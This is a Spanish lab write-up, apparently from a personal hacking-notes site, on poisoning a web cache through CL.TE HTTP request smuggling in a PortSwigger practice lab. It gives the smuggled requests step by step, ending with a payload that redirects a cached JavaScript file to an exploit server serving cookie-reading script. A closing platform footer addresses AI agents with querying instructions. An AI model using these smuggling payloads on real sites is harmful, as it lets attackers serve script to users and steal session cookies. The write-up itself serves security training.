> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Envenenamiento de caché web mediante contrabando de solicitudes HTTP

### Explotando el contrabando de solicitudes HTTP para realizar envenenamiento de la caché web

El front-end y el back-end tratan las solicitudes HTTP de forma diferente. / El front-end **no admite codificación fragmentada** y algunas respuestas son **almacenadas en caché**.

El objetivo es llevar a cabo un ataque de **contrabando de solicitudes** que permita envenenar la caché\*\*: en una consulta posterior a un archivo JavaScript, la víctima debería ser redirigida al servidor de explotación, que devolverá un script que muestra `document.cookie`.

El laboratorio simula automáticamente a un usuario víctima: de todas las pocas solicitudes POST que enviamos, la víctima hace su propia solicitud.

#### Carga útil en el servidor

Preparamos la respuesta JavaScript maliciosa:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/3f3a610f07d65877e055747485b0f2b380724c8f" alt=""><figcaption></figcaption></figure>

#### Información sobre el archivo tracking.js

Se observa que el recurso permanece oculto durante 30 segundos\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/bb2149acfa434e8c3b4188c9b34a6a9e0ff7e864" alt=""><figcaption></figcaption></figure>

#### Análisis del comportamiento del botón Siguiente publicación

* El `postId` el parámetro permanece igual.
* Al hacer clic, la aplicación redirige a la siguiente publicación.

Ejemplo de una solicitud que desencadena esta redirección:

<figure><img src="/files/c39a00e05423db621c0848bfc6ca19d2188fe2e5" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Prueba: A
```

<figure><img src="/files/66b86fef45f6252d069608152e315d74a3093608" alt=""><figcaption></figcaption></figure>

#### Prueba: Inyección de una cabecera Host arbitraria

Al reemplazar el host de la solicitud interna:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/84c43438647dd15dbbbfb78d7ad00ad8a5574db4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8c34e647900e92e45f01d7783729a265aeb1f903" alt=""><figcaption></figcaption></figure>

#### Carga útil final para redirigir a nuestro servidor de explotación

Una solicitud GET interna que contiene nuestro **Host** controlado se inyecta:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Tan pronto como la víctima cargue el recurso JavaScript almacenado en caché, la caché devolverá **durante 30 segundos** nuestra respuesta modificada, desencadenando:

```javascript
alert(document.cookie)
```

<figure><img src="/files/6f0f227f2f99cc99a2145c308f02df8392d3c56c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9db50772451b03604ec35025ac1f584c9a46d4dc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
